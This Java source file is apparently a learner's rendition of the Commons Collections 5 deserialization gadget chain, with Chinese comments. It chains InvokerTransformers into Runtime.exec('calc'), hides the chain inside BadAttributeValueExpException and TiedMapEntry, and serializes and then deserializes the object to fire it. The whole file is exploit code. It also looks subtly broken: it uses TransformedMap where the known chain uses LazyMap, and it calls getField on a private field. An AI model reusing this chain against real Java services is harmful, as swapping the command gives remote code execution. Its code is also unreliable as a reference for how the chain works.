public class cc5 { public static void main(String[] args)throws Exception { Transformer[] transformers; transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}), }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); HashMap<Object,Object> map= new HashMap<>(); map.put("value","b链子好难");
Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(transformedMap,"value"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new ConstantTransformer(1)); Class c=badAttributeValueExpException.getClass(); Field valfield=c.getField("val"); valfield.setAccessible(true); valfield.set(badAttributeValueExpException,tiedMapEntry); serialize(badAttributeValueExpException); //序列化 unserialize("ser.bin"); //反序列化 } public static void serialize(Object object) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(object); }
//反序列化方法 public static void unserialize(String filename) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); } }